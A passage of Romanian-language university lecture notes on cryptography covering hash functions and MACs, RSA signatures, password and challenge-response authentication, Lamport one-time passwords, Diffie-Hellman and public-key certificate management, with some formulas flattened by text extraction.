

secreta) cu proprietatile :

95
1. usor de calculat : hk(x)- usor de calculatat pentru k, x si h date;
2. compresie: hk - mapeaza x de lungime arbitrara in hk(x) de lungime fixata n;
3. rezistenta la calcul (UF-CMA): pentru zero sau mai multe perechi (xi, hk(xi))- date, este
computational infezabil a se calcula orice alta pereche text-MAC (x, hk(x)) cu x ≠ xi (inclusiv
pentru hk(x) = hk(xi))

- o functie hash h mapeaza siruri de biti de lungime finita arbitrara in siruri de lungime fixa de
n-biti:
h : D → R, cum |D| > |R| => functia hash este de tip “N-la-1”, deci implica existenta sigura a
coliziunilor;

Def: prin coliziune se intelege o pereche/set de intrari care au ca rezultat aceasi iesire in urma
aplicarii functiei hash.

Exemple de aplicatii ale MDC(Modification Detection Code):


- datorita proprietatilor de neinversabilitate si aleatorism sunt utilizate pentru:
 confirmarea cunoasterii: unor date fara a le divulga; se verifica de catre corespondentii care
cunosc deja acele date;
 derivarea noii chei de criptare: secvential din cheile anterioare. Cu proprietatea:
compromiterea cheii curente nu afecteaza securitatea datelor protejate cu cheile anterioare;
 generarea secventelor de numere pseudoaleatoare: cu proprietati de aleatorism variate;
 ca o componenta a criptosistemelor pentru asigurarea: integritatii, autentificarea entitatii sau
a mesajelor, la generarea semnaturii digitale

Proprietati pe care o functie hash ar putea sa le aiba


- pp. x x’ – doua intrari; y, y’-cele doua iesiri corespunzatoare;
1. rezistenta la preimagine (neinversabila8) - pentru toate iesirile y considerate, este computational
infezabil de a gasi o preimagine x’ astfel incat h(x’) = y;
2. rezistenta la a 2-a preimagine (coliziune slaba9) – este computational infezabil ca pentru un x-
dat sa poata fi gasita a 2-a preimagine x’ ≠ x, astfel incat h(x’) = h(x);
3. rezistenta la coliziune (coliziune tare10) – este computational infezabil sa poata fi gasite doua
intrari x, x’ astfel incat h(x) = h(x’)

Integritatea datelor si autentificarea mesajelor/tranzactiilor


-in general, aceste servicii sunt realizate simultan prin aceleasi mecanisme: pentru a oferi garantii
ca datele vin de la sursa originala (autentificarea originii mesajelor) si ca starea acestora este
nealterata (integritatea datelor);
-de regula, aceste mecanisme au la baza aplicarea functiei hash, caz in care valoarea hash se mai
numeste: valoare de verificare a integritatii (ICV=Integrity Check Value) sau valoare de
verificare criptografica (CCV=Cryptographic Check Value);

8
en. one-way
9
en. weak collision resistance
10
en. strong collision resistance

96
Def: prin autentificarea tranzactiei se intelege autentificarea mesajului plus garantarea unicitatii
si cronologiei mesajelor cu ajutorul unor parametrii variabili in timp (nr. aleatoare, nr. de secventa
sau stampile de timp).

Integritatea datelor numai cu MAC


- MAC a fost proiectat special pentru aplicatii cu garantarea integritatii mesajelor;
- transmitatorul calculeaza MAC1 = hK(x) cu K cheia secreta dupa care transmite x || MAC1;
receptorul determina identitatea proclamata a sursei mesajului pentru a selecta cheia asociata
si calculeaza independent valoarea MAC2; apoi, daca MAC1 == MAC2 atunci se poate garanta
ca mesajul este nemodificat/autentic (nealterat in timpul transferului);

K (cheia secreta)

Alg. MAC
mesajul

mesajul MAC Canal cu risc ridicat

Integritatea datelor cu MDC si canal de autenticitate


- utilizarea unei chei secrete speciale nu este necesara pentru a garanta integritatea datelor; de
ex. in cazul in care mesajele sunt transferate peste un canal de comunicatie cu garantarea
autenticitatii (pentru a garanta autenticitatea valorii-hash);
- transmitatorul calculeaza valoarea hash cu ajutorul unei functii MDC si transmite mesajul peste
un canal nesigur, iar valoarea-hash pe un canal cu garantarea autenticitatii; la receptie procesul
de verificare a integritatii mesajului este analog celui descris mai sus;
- exemple de canale cu garantarea autenticitatii: linia telefonica (cu recunoasterea autenticitatii
vocii), mediu stocare date (FDD, hartie), stocare in dispozitiv specializat (cufar), publicare in
media (in jurnal; fiind greu de falsificat);
- exemple de aplicatii: software antivirus, distribuire soft, distribuire chei publice, schemele de
semnatura digitala (criptarea asimetrica oferind canalul cu autenticitate);

Alg. MDC
mesajul

Canal cu
autenticitate
MDC

Canal cu risc ridicat

Semnatura digitala. Schema de semnare


Def: o semnatura digitala este un sir de date(numar) care asociaza un mesaj cu o entitate de
origine a mesajului.

97
- este calculat in functie de continutul mesajului si de un secret cunoscut numai de semnatarul
mesajului;
- semnaturile digitale trebuie sa fie verificabile, daca apare o disputa (ex. semnatarul repudiaza
semnatura sau un tert isi asuma semnatura) un tert de incredere trebuie sa poata rezolva
problema corect, fara sa aiba acces la informatia secreta a semnatarului (cheia privata);
- aplicatii: autentificare, integritatea datelor, nerepudiere, certificarea cheilor publice;
- una dintre primele metode de semnare este schema de semnare digitala RSA (1983; astazi,
inca, cea mai populara, versatila);

Schema RSA
- este o schema de semnare determinista cu recuperarea mesajului, cu |MS|= |S| (=Zn) si
R : M → Zn; R este fct. redundanta specificata in ISO/IEC 9796;
- taria se bazeaza pe intractabilitatea problemei factorizarii intregilor mari;
- cum transformata RSA de criptare este o bijectie, semnaturile digitale pot fi create prin
interschimbarea functilor de criptare si decriptare;

1. Generarea cheilor
a. genereaza aleator p si q – prime mari, aceasi dimensiune;
b. n = p*q si Φ(n) = (p-1)(q-1);
c. selecteaza e: 1< e < Φ, astfel incat cmmdc(e, Φ) = 1;
d. calculeaza d cu alg Euclid extins: 1< d < Φ , astfel incat e*d ≡ 1 (mod Φ);
e. (n, e) – cheia publica a lui A; d – cheia privata a lui A

2. Generarea semnaturii mesajului m ϵ M


a. m = R(m) un intreg ce apartine [0, n-1];
b. s = md mod n; este semnatura lui A pentru mesajul m

3. Verificarea semnaturii
a. obtine cheia publica (n, e);
b. m = se mod n;
c. verifica daca m ϵ MR; daca nu rejecteaza semnatura
d. recupereaza m = R-1(m)

Protocoale criptografice pentru autentificarea entitatilor si stabilirea cheilor


-pp. algo. criptografici ideali;
Def: protocolul pentru autentificarea entitatii defineste un proces care permite unei parti
(Verificatorul) sa obtina asigurari ca identitatea celeilalte parti (Invocatorul) este cea pe care
a pretins-o invocatorul sau o presupune verificatorul, si ca invocatorul tocmai a participat la
proces (adica este activ la, sau imediat inainte de, momentul obtinerii dovezilor).

Tehnicile (factori)de autentificare pot fi grupate in trei categorii [IBM, 1977]:


o “ceva ce stiu”: parole, parole-fraze, PIN,chei partajate/private;
o “ceva ce am”: accesorii fizici (cu functie analoaga unui pasaport): card cu banda magnetica,
chipcard, generatoare de parole (“hand-held”);
o “ceva ce sunt”: caracteristici fizionomice si motorii masurate prin proceduri biometrice,
semnatura olografa, amprenta digitala/voce/retina, geometria mainii, caracteristica de tastare,
s.a.m.d.

98
Autentificarea bazata pe parole (autentificare slaba)
- de regula, parola este partajata intre utilizator si un sistem, prin urmare aceste protocoale
aplica tehnici criptografice simetrice;
- protocolul: utilizatorul introduce perechea de credentiale (username, parola) si specifica
explicit/implicit resursa solicitata; perechea de credentiale este transferata pana la sistemul care
va verifica daca parola corespunde cu credentialele stocate pentru utilizatorul username si daca
utilizatorul este autorizat sa acceseze acea resursa. Demonstrarea cunoasterii secretului (prin
exprimarea efectiva a parolei) este acceptata ca o coroborare a identitatii utilizatorului.
A (Invocator) B (Verificator)

A h(passwdA)

h(passwdA)

passwd yes
passwd, A h h(passwd) = ACCEPT

no
REJECT
Sistem conventional de autentificare cu parola

Tehnici de protejare a protocolului:


1. fisiere de parole cu:
 memorare in clar: in acest caz fisierul trebuie protejat la citire si la scriere; nu ofera
protectie fata de utilizatorii privilegiati; probleme de protectie se pun si atunci cand fisierul are
o copie de siguranta (“backup”);
 memorare criptata: in acest caz fisierul contine rezultatul obtinut in urma aplicarii
unei functii OWF asupra parolelor; este suficient ca fisierul sa fie protejat la scriere;

2. incetinirea procedurii de verificare


- obiectiv: contracararea atacurilor prin cautare a parolei prin introducerea unei latente de
verificare care sa faca procesul de cautare infezabil in timp util;
- problema: latenta introdusa nu trebuie sa afecteze si utilizatorii legitimi.

3. reguli pentru stabilirea parolelor (cresterea entropiei)


- obiectivul regulilor este de a creste entropia parolelor (nu numai lungimea) peste limita
dictionarului si a atacurilor prin cautare exhaustiva;
- problema: memorarea de catre utilizatori a cheilor secrete cu suficienta entropie pentru a
garanta un nivel de securitate ridicat;
- exemple de reguli: limita lungimii inferioare 8-12 caractere, timp de viata, cel putin un
caracter din fiecare categorie (majuscule-minuscule, numerice, non-alfanumerice), sa nu existe
in dictionare, nu contine informatii corespunzatoare contului (ex. user_id);

4. intarirea parolelor (en. salting)


- obiectiv: contracararea atacurilor dictionar;

99
- parola este completata cu un numar arbitrar (i.e. salt) reprezentat pe t biti, inainte de a aplica
functia OWF; apoi, numarul salt este memorat de sistem in clar, impreuna cu rezultatul fct
OWF;
- complexitatea atacului prin cautare exhaustiva ramane aceasi, insa complexitatea atacului
dictionar creste: pentru fiecare parola din dictionar acum necesita inca 2t variatii pentru
fiecare parola de incercare, deci o dimensiune mai mare a memoriei pentru stocarea
dictionarului criptat si timp mai mare de pre-calcul;

Obs: acum doi utilizatori care aleg acesi parola vor avea inregistrari diferite in fisierul de
parole;

Nota: pe unele sisteme valoarea salt = username;

5. Parole-fraza (en. passphrase)


- parola-fraza creste entropia fara a avea probleme de memorare (ex. fraza de text usor de
retinut);
- sistemul va opera analog cu cazul unei parole simple; este important sa nu trunchieze
parola-fraza;
- dezavantaj: timpul de tastare;

6. chei secrete generate din parole (en. passkey)


- consta in calculul unei chei criptografice cu entropie ridicata (de bit) prin aplicarea unei functii
OWF asupra parolei; aceste chei derivate se mai numesc “passkey”; cheile passkey sunt apoi
utilizate pentru autentificarea utilizatorului;
- solutie pentru a evita ca cheia passkey sa fie fixa (pana la schimbarea ei) este utilizarea
tehnicii de intarire “salt” (ex. nr de secventa; transferat in clar); dezavantaj: memorarea
parolelor pe sistem necesita un mecanism pentru asigurarea confidentialitatii;

7. Codul PIN (Personal Identification Number). Autentificarea multi-factor


o o categorie de parole fixe (invariante in timp) de lungime scurta (format din 4/8 digiti);
o se utilizeaza in conjunctie cu un token (card cu banda magnetica sau chip), care formeaza
primul nivel de securitate; PIN = al doilea nivel de securitate, ofera protectie in cazul in care
tokenul este pierdut (PIN demonstreaza ca o anumita identitate este autorizata sa foloseasca
tokenul); PIN poate fi folosit si atunci cand primul nivel este asigurat de personalul de garda
sau camera video (ex. pentru controlul accesului la o cladire);
o complexitatea atacului prin cautare exhaustiva este redusa => PIN este aplicat numai
impreuna cu constrangeri procedurale (ex. nr. incercari esuate limitate, blocare card si
solicitarea unui PIN de lungime mai mare pentru reactivare);
o codul PIN poate fi ales (faciliteaza memorarea, este stocat pe token sub forma h(cheie_master,
PIN, ID)) sau este prestabilit (calculat ca o functie de o cheie master si de identitatea
utilizatorului); cheia master trebuie sa fie cunoscuta de toate sistemele de verificare;
o codul PIN poate fi verificat la distanta (baza de date; alternativ se poate utiliza PIN ca o cheie
MAC), sau off-line/local (toata informatia de verificare trebuie sa se gaseasca pe token sau
local);
o exemplu, autentificarea two-factor (prin doua tehnici): pp. utilizarea unui cod PIN usor de
memorat si a unui token care contine datele pentru verificarea PIN si o cheie master pe termen
lung (cu entropie ridicata); prima faza: utilizatorul este autentificat de catre token pe baza
codului PIN; ca urmare utilizatorul este autorizat sa foloseasca tokenul; a doua faza: token-ul

100
este autentificat de catre sistem pe baza cheii master peste legatura de comunicatie cu risc
ridicat;

Atacuri specifice protocoalelor de autentificare cu parola


Atacul prin repetitie
- interceptarea parolei care este transferata in clar/valoare hash intre utilizator si sistem si
retransmiterea ei ori de cate ori atacatorul vrea sa impersoneze acel utilizator;
- o solutie: utilizarea unui mediu de transfer securizat (servicii de nivel inferior functii
criptografice cu cheie, garantarea confidentialitatii tranzactiei); utilizarea unor parametrii
variabili in timp;
- in plus, in cazul unui sistem de verificare distribuit (ex. autentificator+server de autentificare
in backend), raspunsul acestuia trebuie de asemenea protejat;

Atacul prin cautarea exhaustiva a parolei(metoda prin forta bruta)


- cel mai naiv atac, prin care atacatorul incearca (aleator sau sistematic) una cate una parolele
cu verificatorul cu speranta ca va gasi parola corecta;
- solutii pentru atacurile de tip on-line: marirea spatiului parolelor, limitarea numarului de
incercari pe o durata de timp si incetinirea procedurii de verificare a parolei;
- se poate desfasura si off-line daca atacatorul poate obtine o copie a fisierului de stocare a
parolelor;

Atacul dictionar
-teoretic, toate parolele de n caractere sunt echiprobabil selectate, totusi utilizatorii aleg cu
predilectie parole dintr-un anumit subset (care au caracteristicile: lungime redusa, au
semantica, numai minuscule) => cu predilectie utilizatorii folosesc parole slabe (cu entropie
redusa) care pot fi mai usor determinate;
-prin urmare, in loc sa se efectueze o cautare exhaustiva a parolei, se poate reduce spatiul de
cautare la acest subset de parole; dictionarul = contine acest subset de parole;
-in cazul unui atac off-line, dictionarul poate contine si valoarea “criptata” a parolelor pentru a
mari eficienta procedurii de cautare;

Protocoale cu parole de unica folosinta (OTP=One-Time Password)

Def: sunt protocoale de autentificare in care fiecare parola este utilizata o singura data;

o obiective: combaterea atacurilor prin interceptare si repetitie;


o variante constructive:
1. liste partajate de parole de unica folosinta: atat utilizatorul cat si sistemul au definite cate o
lista de t parole, fiecare valida ptr o singura autentificare. Dezavantaj: administrarea listei,
inclusiv protejarea ei, cautare in lista daca nu sunt utilizate in ordine. Alternativ, lista poate
contine perechi provocare-raspuns (i.e. index-parola asteptata);
2. actualizarea secventiala a OTP: initial o singura parola este partajata intre utilizator si
sistemul de verificare; dupa autentificare cu parolai, pe durata sesiunii, utilizatorul creaza si
transmite catre sistem o noua parola (parolai+1) criptata cu o cheie derivata din parolai ;
Dezavantaj: in cazul erorilor de comunicatie;
3. OTP pe baza OWF: protocolul Lamport (descris mai jos); sunt protocoale mai eficiente
decat variantele 2)

101
Protocolul Lamport
a) utilizatorul A alege o constanta t, un secret w, initializeaza iA = 1 si transmite lui B cu garantii
de autenticitate pe w0 = Ht(w); (H-o functie OWF; Ht(w)=H(H(H(...H(w)))) de t-ori;
b) B initializeaza iA = 1 (nr de ordine al sesiunii cu A);
c) a i-a sesiune de autentificare (a ≤ i ≤ t):
A→ B: A, i, wi = Ht-i(w)
d) B verifica daca i == iA si (H(wi) == wi-1); daca da, B accepta parola, iA = iA + 1 si salveaza wi
ptr sesiunea urmatoare

Atacul pre-play: in care atacatorul intercepteaza si elimina mesajul de la pasul c), pentru a
confisca o parola pe care ulterior o va putea folosi pentru a impersona utilizatorul A.

Protocoale de autentificare provocare-raspuns11 (autentificare tare)


o obiectiv: combaterea atacurilor prin intretesere, interceptare si repetitie sau criptanaliza pentru
determinarea parolei/cheii secrete (ex. din categoria text-ales);
o idea: pentru demonstrarea identitatii invocatorul va transmite un mesaj (raspuns) variabil in
timp. Astfel, mesajul raspuns va fi calculat in functie de codul secret partajat si de o provocare.

Def: provocarea consta intr-un numar variabil in timp; poate fi ales aleator de entitatea de
verificare si trimis invocatorului sau poate fi un numar de secventa sau stampila de timp.

Def: nonce este o valoare utilizata cel mult odata in acelasi scop (“number use of once”), ptr
a preveni atacul prin repetitie (ex. face distinctie intre o instanta de protocol de alta).

Nota: frecvent, nonce = nr aleator

-pt. a asigura securitatea protocolelor de autentificare, sunt necesare mecanisme pentru


garantarea integritatii parametrilor variabili in timp (ex. prin legarea criptografica de celelalte
date din mesaje);

Numere aleatoare
-obiectiv: sunt impredictibile pentru atacator;
-de ex. nr. pseudo-aleatoare pot fi suficient de bune;

-utilizare: o entitate selecteaza si transmite un nr aleator; mesajul urmator receptionat de acea


entitate este considerat a fi recent (en. fresh) daca este construit pe baza cunoasterii nr aleator
transmis anterior.
- astfel, nr. aleatoare pot fixa relativ un moment de timp util entitatilor, analog unui ceas
partajat;

-dezavantaje: in protocoale este necesar un mesaj in plus; verificatorul trebuie sa mentina


informatia de stare pana cand raspunsul este verificat, protejat cu un temporizator;

Numere de secventa

11
en. challenge-response

102
- pp. utilizarea unei perechi de contori asociati unic cu invocatorul si cu verificatorul pentru un
sens de comunicatie; deci, se vor utiliza doua secvente diferite pt. fiecare sens;
-utilizare: un mesaj este acceptat numai daca nr de secventa asociat nu a mai fost utilizat (pentru
o perioada predefinita de timp) si daca satisface politica stabilita;
-politici de acceptare: nr de secventa se incrementeaza si mesajul este acceptat daca nr de
secventa este cu 1 mai mare decat cel precedent (pol restrictiva); mesajul este acceptat daca nr
de secventa formeaza o secventa monoton crescatoare (este o politica lejera, utila in cazul
mediu cu erori de transmisie);
-dezavantaje: administrarea pe termen lung a informatilor de stare asociate cu fiecare
verificator/invocator, pt. a determina nr de secventa utilizate deja; sunt necesare proceduri de
resetare/resincronizare in cazul producerii unor erori de sistem; nu pot detecta intarzierile
provocate; consecinta a overheadului (adminstrarea starii) => se recomanda pt. grupuri mici;

Stampile de timp
-utilizare: transmitatorul citeste ceasul (local) si leaga stampila de timp de mesaj prin tehnici
criptografice. Receptorul citeste ceasul sau (local), extrage stampila de timp si declara mesajul
valid, daca:
o diferenta de timp (stampile) este in interiorul ferestrei de acceptare;
o (optional) nici un alt mesaj cu aceasi stampila de timp nu a mai fost receptionat de la acelasi
transmitator; se realizeaza cu o lista de stampile per transmitator pt. o fereastra de acceptare.
Alta metoda: se inregistreaza numai ultima stampila (valida) per transmitator si se vor
accepta numai stampile strict ulterioare acesteia.

Obs: taria mecanismului de verificare se bazeaza pe utilizarea unei referinte de timp comune
=> ceasurile acestor entitati trebuie sa fie: disponibile (oricand), sincronizate (slab), protejate
la modificari neautorizate.

-avantaje: utilizarea stampilelor de timp permit realizarea protocoalelor cu mai putin mesaje
(tipic unul) si evita listele cu informatii de stare pe termen lung (important ptr servere); permit
combaterea atacurilor prin intarziere;
-dezavantaj: sincronizarea ceasurilor de timp distribuite cu garantii de securitate; gradul de
alunecare al ceasului si ferestra de acceptare trebuie sa fie suficient de mici pentru a elimina
atacul prin repetitie;
-in protocoale, stampilele de timp pot fi inlocuite de o provocare cu nr aleator si un mesaj in
raspuns;

Mentinerea autenticitatii unei sesiuni: pt. ca protocoalele de autentificare ofera, garantii de


confirmare a identitatii numai la un moment de timp (prin def.), pentru continuitate sunt
necesare masuri suplimentare pentru a contracara atacurile active (ex. daca autentificarea are
loc numai la inceputul unei sesiuni, atunci un atacator ar putea ulteriror sa se infiltreze in
comunicatie). Pentru a preveni, se aplica urmatoarele mecanisme:
 reautentificare periodica (pb. ramane daca atacatorul paraseste sesiunea de fiecare
data cand are loc reautentificarea, pt. ca apoi sa participle din nou);
 legarea procedurii de autentificare de mecanismele de garantare a integritatii care
sunt utilizate permanent de-a lungul sesiunii (tipic, prin intermediul mecanismelor pentru
stabilirea cheii de sesiune care asigura autentificarea si integraitatea mesajelor)

103
Stabilirea cheilor criptografice de sesiune (efemere)
Motivatie
-ideal, o cheie de sesiune are un caracter efemer; este utilizata pe o peroada de timp scurta,
dupa care este eliminata complet (inclusiv eventualele date criptate cu aceasta cheie);
- limitarea volumului de text-cifrat care ar putea fi disponibil unui atac prin criptanaliza;
- limitarea volumului de informatii expuse, in cazul in care cheia de sesiune este
compromisa;
- elimina memorarea unor chei pe termen lung, distincte pentru fiecare entitate, in schimb
sunt create numai atunci cand sunt necesare;
- ofera independenta intre sesiuni sau aplicatii

Obiective:
1. stabilirea unor coduri secrete intre doua sau mai multe entitati, in general utilizate
direct/indirect ca chei simetrice de sesiune pentru garantarea confidentialitatii,
autenticitatii/integritatii mesajelor si pentru reautentificarea entitatilor. Este necesar ca fiecare
executie a acestor protocoale sa determine crearea unui cod secret distinct si dificil de anticipat;
2. in general, un participant la un protocol pentru stabilirea cheii trebuie sa poata determina
identitatea celorlalti participanti pentru a evita ca un participant neautorizat sa obtina cheia;

- deci, aceasta categorie de protocoale ofera un mijloc pentru stabilirea securizata a cheii,
(garanteaza confidentialitatii cheii si identificarea participantilor (autentificarea) care au acces
la cheie);

Def: stabilirea dinamica a cheii, in care cheia stabilita de o pereche (un grup) fixa de
utilizatori variaza intre executii secventiale ale protocolului. Aceste protocoale se mai numesc:
protocoale pentru stabilirea cheii de sesiune. Se mai spune ca cheile de sesiune sunt
dinamice si ca aceste protocoale sunt imune la atacuri tip cheie-cunoscuta.

Clasificare generala si notiuni


Def: transportul cheii, este o tehnica de stabilire a cheii in care o parte genereaza sau obtine
o valoare secreta pe care apoi o transfera cu garantarea securitatii catre alta parte/parti.

Def: negocierea cheii (en. key agreement), este o tehnica de stabilire a cheii in care codul
secret este determinat de doua (sau mai multe) parti, ca functie de informatia schimbata
(materialul cheii) si/sau asociata cu fiecare dintre acestea. Cerinta: nici una dintre parti nu poate
determina a priori valoarea rezultata a cheii secrete.

Def: protocolul de predistribuire a cheii, este un protocol in care cheile ce vor fi stabilite
sunt complet determinate prin derivare din materialul initial al cheii pre-distribuit.

Proprietatii ale protocoalelor pentru stabilirea cheii


 autenticitatea cheii: este proprietatea prin care un participant este asigurat ca nici un alt
participant nu poate obtine accesul la o cheie, cu exceptia celor a caror identitate a fost
specificata (posibil incluzand si terti de incredere); deci, presupune autentificarea entitatilor;

 confirmarea cheii: este proprietatea prin care un participant este asigurat ca ceilalti
participanti au in posesie o anumita cheie secreta (implementare: calcularea functiei hash,
utilizarea fct. hash cu cheie, criptarea unor date cunoscute, protocol zero-knowledge).

104
 autenticitatea explicita a cheii este proprietatea obtinuta atunci cand sunt indeplinite simultan
proprietatile: autenticitate a cheii (implicita) si confirmarea cheii.

Problema critica a protocoalelor pentru stabilirea cheii cu autentificare: este garantarea


ca participantul caruia i se verifica identitatea este acelasi cu cel cu care se stabilieste cheia (in
caz contrar, un atacator ar putea implica un participant autentic in faza de autentificare, apoi
prin impersonarea acestuia va obtine cheia).

Def: partile/entitatile unui protocol pentru stabilirea cheii se numesc principali si se presupune
ca au nume unice.

Proprietati: secretizare perfecta inainte(PFS) si atacurile cheie-cunoscuta


-in analiza protocoalelor pentru stabilirea cheii se considera impactul pe care il poate avea
compromiterea materialului cheilor, mai exact:
 compromiterea cheilor secrete pe termen lung (simetrice/asimetrice);
 compromiterea cheilor de sesiune anterioare (mai probabila deoarece: volum mare de date text-
cifrat); unori aceste chei trebuie facute publice in mod deliberat

Def: se spune ca un protocol are proprietatea de secretizare PFS (en. Perfect Forward
Secrecy), daca compromiterea, la un moment dat, a cheilor pe termen lung nu va compromite
cheile de sesiune utilizate anterior (se mai numeste protectie “break-backward”).

Def: se spune ca un protocol este vulnerabil la atac cheie-cunoscuta, daca compromiterea


cheilor de sesiune anterioare va permite atacatorului fie sa compromita cheile de sesiune
ulterioare, fie sa realizeze atacuri prin impersonare.

Protocolul Diffie-Hellman
- permite stabilirea unei chei de sesiune peste un canal de comunicatie deschis, intre doua
entitati care nu partajeaza a priori nici un cod secret; versiunea descrisa se mai numeste DH
anonim;
- securitatea se bazeaza pe problema DH (care se poate reduce la problema logaritmului
discret);
- acest protocol poate fi definit peste orice grup in care problema logaritmului discret este
intractabila in timp polinomial;
- fie p-prim, α-generator al Zp*, 2 ≤ α ≤ p-2

Alice Bob
X A - aleator YA   XA
mod p X B - aleator

YB   X B mod p
K  (Y A ) X B mod p
K  (Y B ) X A
mod p
Algoritmul Diffie-Hellman

105
X – se numeste cheie privata; Y – se numeste cheie publica;
Obs: aceasta versiune a protocolului este vulnerabila la atacuri MITM.

Managementul cheilor publice


-o buna proiectare a unui sistem criptografic reduce problemele mai complexe la problema
managementului cheii, respectiv stocarea securizata in HW si SW (frecvent realizata prin
control procedural); tendinta este de a concentra relatile de incredere intr-un numar redus de
elemente arhitecturale, monitorizabile si controlabile;

Managementul cheilor poate include urmatoarele faze


1. initializare/inregistrare utilizatori intr-un domeniu;
2. generare, distribuire, instalarea materialului cheii;
3. controlul utilizarii materialului pentru cheie;
4. actualizare, revocare si distrugere a materialului pentru cheie;
5. stocare/backup, arhivare si recuperare material pentru cheie

Procedurile utilizate pentru managementul cheii trebuie sa ofere protectie fata de atacurile:
 de compomitere a confidentialitatii secretului cheilor;
 de compromitere a autenticitatii cheilor (secrete, publice);
 de utilizare neautorizata a cheilor (secrete, publice); de ex, chei expirate; in general, de
neconformitate cu politica de securitate

Solutia: are la baza modelul centralizat cu server tert de incredere (TTP).

Managementul on-line centralizat al cheilor:


o avantaje: stocarea eficienta a cheilor (fiecare entitate are de retinut doar o singura cheie cu
serverul de incredere);
o dezavantaje:
o compromiterea serverului de incredere afecteaza securitatea intregului sistem;
o gatuire, si reducerea performantelor;
o pierderea serviciului daca serverul central se defecteaza
o necesita mentinerea permanenta on-line a serverului;
o administrarea serverului;
o cresterea complexitatii comunicatiilor

Nota(natura increderii in serverul TTP): tertul nu va divulga cheile secrete ale utilizatorilor si
nu va incerca sa impersoneze utilizatorii.

106
Server de
nume

Autoritate de
inregistrare

Generator
de chei
Autoritate de
A certificare

Director de
certificate

Rolul TTP in cazul managementului de chei cu certificate publice (off-line)

1. autoritate de certificare (CA): stabileste si certifica autenticitatea cheilor publice; pp.


asocierea cheilor publice cu nume distincte pe baza unor certificate semnate, admininstrarea
numerelor seriale si revocarea certificatelor;
2. server de nume: administrarea spatiului de nume/identificare al principalilor (ex. A);
3. autoritate de inregistrare: responsabil de autorizarea entitatilor ca membrii ai unui domeniu
de securitate; pp. si asocierea materialului cheii cu o entitate; asocierea relativ la un CA;
4. generator de chei: creaza perechi de chei publica-privata; poate fi parte a entitatii utilizator,
parte a CA sau o entitate independenta;
5. director de certificate: este o baza de date, accesibila in citire pentru entitatile utilizator; CA
furnizeaza certificatele;

Tehnici si mecanisme pentru distribuirea cheilor publice


- protocoalele care utilizeaza tehnici criptografice cu cheie publica pp. cunoasterea cheii publice
autentice a principalilor implicati;
- metode de distribuire a cheilor publice cu garantarea sau cu suport pentru verificarea
autenticitatii:
1. canal de incredere punct-la-punct: cheile publice ale celorlalti principali se obtin direct peste
un canal cu garantii de integritate si autenticitate (include schimb prin mijloace fizice). Ex.
TLS, IPSec Aceasta metoda se utilizeaza in aplicatii cu frecventa redusa sau ptr sisteme mici
si inchise. Dezavantaje: latenta, costul canalului de securitate;
2. fisier de incredere public: este o baza de date cu garantarea integritatii ce contine pentru
fiecare utilizator numele si cheia publica autentica corespunzatoare. Acesta se poate
implementa ca un registru de cheie publica sub administrarea unui tert. O metoda de
autentificare a unui fisier public este arborele de autentificare de chei publice;
3. server on-line de incredere: stocheaza chei publice autentificate pe baza de semnatura, si
furnizeaza accesul pe baza de cerere la cheile publice si semnatura lor digitala, fara garantii de
confidentialitate. Ex. OCSP. Principalul care obtine astfel o cheie trebuie sa aiba o copie
autentica a cheii publice de semnare a serverului pentru verificare. Dezavantaje: cost
mentinere on-line a serverului, gatuire la server, complexitatea de comunicare mai ridicata (pe
langa destinatar);
4. server off-line si certificate: toti principalii contacteaza a priori serverul off-line al CA
(autoritatea de certificare) pentru a inregistra propria cheie publica si pentru a primi un certificat
cu semnatura cheii publice de catre CA pentru garantarea integritatii/autenticitatii. In principal

107
rolul unui astfel de certificat este sa asocieze identificatorul unui principal cu cheia publica
asociata. Ulterior principalii vor obtine cheile publice prin schimb direct intre ei sau dintr-un
director public;
5. sisteme cu garantare implicita a autenticitatii parametrilor publici: prin proiectarea
acestor sisteme orice incercare de modificare a parametrilor publici conduce inevitabil la erori
detectabile ale tehnicilor criptografice. Exemple: sistemul de chei publice certificate implicit.

Certificate de chei publice


- obiective: este un mijloc prin care cheile publice pot fi memorate, distribuite sau dirijate peste
medii de transfer nesigure, cu garantarea integritatii/autenticitatii (ex. X.509 este standardul de
certificat cel mai utilizat);

Def: certificatul de cheie publica este o structura de date ce consta dintr-o parte informatii
si dintr-o parte semnatura. Partea de informatii contine in clar cel putin cheia publica si
identificatorul subiectului caruia i se asociaza cheia. Partea semnatura contine semnatura
digitala a autoritatii de certificare aplicata asupra partii informatii.

Def: autoritatea de certificare (CA) este un tert a carui semnatura intr-un certificat confirma
autenticitatea cheii publice asociate subiectului specificat in partea informatii.

-partea informatii mai poate contine:


 perioada de validitate a cheii publice;
 nr. serial sau identificatorul certificatului cheii;
 informatii despre subiect;
 informatii despre cheie (ex. alg. si mod de utilizare);
 despre generarea cheii sau politici;
 informatii pt. verificarea semnaturii (ex. alg. id, numele CA);
 starea cheii publice (este revocata ?)

Crearea certificatelor de chei publice


o inainte de a crea un certificat nou, CA trebuie sa ia urmatoarele masuri: sa verifice identitatea
reala a subiectului, si apartenenta cheii publice la subiect (unde este cazul);
o exista doua cazuri:
 perechea de chei este creata de un tert de incredere: tertul va asocia identitatea si
cheia publica printr-un certificat. Subiectul primeste cheia privata printr-un canal securizat
(autenticitate, confidentialitate), dupa ce demonstreaza identitatea sa (pasaport, poza, in
persoana).
 subiectul creeaza propria pereche de chei: acum subiectul trebuie sa transfere peste
un canal securizat (autenticitate) cheia publica catre tertul de incredere. Dupa verificarea
identitatii subiectului, tertul va crea certificatul cheii publice. Autoritatea de certificare trebuie
sa verifice ca subiectul cunoaste cheia privata, ptr a evita ca un principal rau intentionat sa isi
asume o cheie publica asociata altui principal.

Utilizarea si verificarea certificatelor de chei publice


Pasii pe care o parte B ii executa ptr a obtine cheia publica a lui A:
1. B obtine cheia publica autentica a lui CA (o singura data) care a emis certificatul lui A;
2. obtine identificatorul lui A;
3. obtine certificatul lui A (prin orice canal, nesigur) pe baza identificatorului;

108
4. realizeaza urmatoarele verificari:
a. verifica perioada de validitate pe baza ceasului local;
b. verifica perioada de validitate a cheii publice a lui CA;
c. verifica semnatura lui CA din certificat;
d. verifica daca certificatul nu a fost cumva revocat;
5. daca este OK, accepta cheia publica

Managementul multidomeniu al cheilor pub. explicite


- de regula, implica mai multe autoritati de certificare fiecare reprezentand o autoritate de
incredere ptr. toate entitatile care sunt asociate unui domeniu. Politica de securitate in fiecare
domeniu este definita implicit sau explicit de aceasta autoritate.

Def: certificatul CA de transfer este un certificat creat de o autoritate (CA) pt. a certifica
cheia publica a altei autoritati CA.

Modele de incredere in cazul mai multor CA


Def: exista mai multe moduri de a organiza relatile de incredere intre CA-uri in sistemele cu
